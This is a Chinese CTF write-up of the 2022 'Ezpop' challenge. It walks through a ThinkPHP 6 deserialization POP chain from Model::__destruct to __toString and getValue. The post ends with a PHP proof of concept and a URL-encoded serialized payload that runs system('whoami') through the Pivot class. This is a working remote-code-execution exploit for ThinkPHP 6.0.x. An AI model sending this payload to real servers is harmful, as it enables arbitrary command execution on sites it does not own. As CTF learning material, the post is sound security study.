2022国赛Ezpop

2022国赛Ezpop

写在前面的话:之前做2019强网杯upload遇到了thinkphp5框架的反序列化。这道国赛又恰巧出了thinkphp6框架的反序列化,还是不知道如何下手,现在详细学习目录结构。

tp5框架:

project  应用部署目录
├─application           应用目录(可设置)
│  ├─common             公共模块目录(可更改)
│  ├─index              模块目录(可更改)
│  │  ├─config.php      模块配置文件
│  │  ├─common.php      模块函数文件
│  │  ├─controller      控制器目录
│  │  ├─model           模型目录
│  │  ├─view            视图目录
│  │  └─ ...            更多类库目录
│  ├─command.php        命令行工具配置文件
│  ├─common.php         应用公共(函数)文件
│  ├─config.php         应用(公共)配置文件
│  ├─database.php       数据库配置文件
│  ├─tags.php           应用行为扩展定义文件
│  └─route.php          路由配置文件
├─extend                扩展类库目录(可定义)
├─public                WEB 部署目录(对外访问目录)
│  ├─static             静态资源存放目录(css,js,image)
│  ├─index.php          应用入口文件
│  ├─router.php         快速测试文件
│  └─.htaccess          用于 apache 的重写
├─runtime               应用的运行时目录(可写,可设置)
├─vendor                第三方类库目录(Composer)
├─thinkphp              框架系统目录
│  ├─lang               语言包目录
│  ├─library            框架核心类库目录
│  │  ├─think           Think 类库包目录
│  │  └─traits          系统 Traits 目录
│  ├─tpl                系统模板目录
│  ├─.htaccess          用于 apache 的重写
│  ├─.travis.yml        CI 定义文件
│  ├─base.php           基础定义文件
│  ├─composer.json      composer 定义文件
│  ├─console.php        控制台入口文件
│  ├─convention.php     惯例配置文件
│  ├─helper.php         助手函数文件(可选)
│  ├─LICENSE.txt        授权说明文件
│  ├─phpunit.xml        单元测试配置文件
│  ├─README.md          README 文件
│  └─start.php          框架引导文件
├─build.php             自动生成定义文件(参考)
├─composer.json         composer 定义文件
├─LICENSE.txt           授权说明文件
├─README.md             README 文件
├─think                 命令行入口文件

tp6框架:

相对于tp5框架来说,主要变化是核心框架纳入vendor目录,application变成app目录,支持多应用模式部署。

单应用模式:

www  WEB部署目录(或者子目录)
├─app           应用目录
│  ├─controller      控制器目录
│  ├─model           模型目录
│  ├─ ...            更多类库目录
│  │
│  ├─common.php         公共函数文件
│  └─event.php          事件定义文件
│
├─config                配置目录
│  ├─app.php            应用配置
│  ├─cache.php          缓存配置
│  ├─console.php        控制台配置
│  ├─cookie.php         Cookie配置
│  ├─database.php       数据库配置
│  ├─filesystem.php     文件磁盘配置
│  ├─lang.php           多语言配置
│  ├─log.php            日志配置
│  ├─middleware.php     中间件配置
│  ├─route.php          URL和路由配置
│  ├─session.php        Session配置
│  ├─trace.php          Trace配置
│  └─view.php           视图配置
│
├─view                  视图目录
├─route                 路由定义目录
│  ├─route.php          路由定义文件
│  └─ ...   
│
├─public                WEB目录(对外访问目录)
│  ├─index.php          入口文件
│  ├─router.php         快速测试文件
│  └─.htaccess          用于apache的重写
│
├─extend                扩展类库目录
├─runtime               应用的运行时目录(可写,可定制)
├─vendor                Composer类库目录
├─.example.env          环境变量示例文件
├─composer.json         composer 定义文件
├─LICENSE.txt           授权说明文件
├─README.md             README 文件
├─think                 命令行入口文件


多应用模式相比于单应用模式,app目录下的controller目录被删掉

代码审计

__destruct()链分析

反序列化POP链一般以__destruct()或者__wakeup()为起点

搜索__destruct() ,搜到了几个

这个就是个安全存储的,用于登录验证,没有可利用的

在这里插入图片描述

这个就是个断开连接,用于适配器兼容,没有可利用的

在这里插入图片描述

这个很可疑,autosave为True就可以进入save()

在这里插入图片描述

这个更直接,都写了析构方法

www/vendor/topthink/think-orm/src/Model.php

在这里插入图片描述

跟进save()看看

在这里插入图片描述

isEmpty()==True或者trigger('BeforeWrite')==falsereturn false 要绕过需要:
isEmpty()==False
trigger('BeforeWrite')==True

跟进trigger()

在这里插入图片描述

withEvent==False就返回true 正好满足需要

跟进isEmpty()

在这里插入图片描述

empty()函数判断是否为空,需要让data非空
save里绕过isEmpty()trigger('BeforeWrite')所在的if语句后,进入:
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
意思是:
$this->existstrue的话执行$this->updateData()$this->existsfalse就执行后面的$this->insertData($sequence);

跟进updateData()

在这里插入图片描述

在这里插入图片描述

绕过前两个if的返回return,才能进入后面的checkAllowFieldsz()

先看第一个

在这里插入图片描述

trigger('BeforeUpdate')==falsereturn false
要绕过需要:
trigger('BeforeUpdate')==true
发现跟前面的trigger要求一样,正好绕过

再看下面这个data的

empty($data),即data是空则return true
先看前面的$data = $this->getChangedData();

在这里插入图片描述

在这里插入图片描述

跟进getChangedData()

在这里插入图片描述

$this->force ? $this->data
要获取data的值,需要:
force==true

现在可以进入最下面的checkAllowFields()函数了

在这里插入图片描述

需要:
field != null
schema != null

查看这两个函数,发现本来就是空,正好

在这里插入图片描述

跟进db()

在这里插入图片描述

发现最后有个字符串拼接的可以利用触发__toString()

在这里插入图片描述

到这里__destruct()链条就分析结束,接下来需要找__toString()可以利用的点。

附上大佬的总结图

在这里插入图片描述

__toString()链分析

在找__toString()利用点的时候有个疑问,搜索__toString()可以得到多个函数利用,如何确定真正可行的利用点?

在这里插入图片描述

这里是用的www/vendor/topthink/think-orm/src/model/concern/Conversion.php里面的__toString()方法

在这里插入图片描述

跟进toJson()

在这里插入图片描述

跟进toArray()

在这里插入图片描述

前两个的遍历赋给的$key值都会合并关联到这个遍历下

跟进getAttr(),注意这里的 n a m e 变量就是前面的 name变量就是前面的 name变量就是前面的key

在这里插入图片描述

最后return的漏洞点是getValue,因为里面的value参数是经过getData函数赋给的,所以先跟进getData()

在这里插入图片描述

跟进getRealFieldName()

在这里插入图片描述

可以看到,如果strict==true,可以直接返回 n a m e ,获得 name,获得 name,获得name值

接下来可以进入getValue(),这张大佬的图片已经写的很详细了,不太容易理解,请耐心思考。

在这里插入图片描述

找到了最终利用的动态点

在这里插入图片描述

__toString()链条也分析结束。

附上大佬的总结图

在这里插入图片描述

POC构造

在构造之前需要注意一个点,也是之前一直没遇到过的。

Model在这里是抽象类,不能实例化,需要找一个子类实例化

在这里插入图片描述

搜索 extends Model

找到Pivot类

在这里插入图片描述

<?php
    
namespace think; 

abstract class Model{
    private $lazySave;
    private $data;
    private $exists;
    protected $table;
    private $withAttr;
    protected $json;
    protected $withEvent;
    protected $jsonAssoc;

    function __construct($obj = '')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj; //触发__toString()
        $this->data = ['whoami'=>['whoami']];
        $this->withAttr = ['whoami'=>['system']];
        $this->jsonAssoc = true;
        $this->json = ['whoami'];

    }
}

namespace think\model;

use think\Model;

class Pivot extends Model{

}

$b=new Pivot(new Pivot());
echo urlencode(serialize($b));

得到

O%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3Bs%3A5%3A%22force%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3Bs%3A5%3A%22force%22%3Bb%3A1%3B%7D

写在最后的话:

一开始以为这就是个单纯的tp6框架审计代码反序列化就是了,没想到这代码量这么大,转来转去的,真是耗了不少脑子。真不愧是,娃中娃中娃中娃,简称,套娃。

参考笔记

thinkphp5.0目录结构 - piwenfei - 博客园 (cnblogs.com)

(46条消息) thinkphp6目录结构_徊忆羽菲的博客-优快云博客_thinkphp6目录结构

(46条消息) ThinkPHP v6.0.x 反序列化_LetheSec的博客-优快云博客

皮蛋厂的学习日记 | 2022.7.25 ThinkPHP V6.0.12LTS 反序列化漏洞复现 (qq.com)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值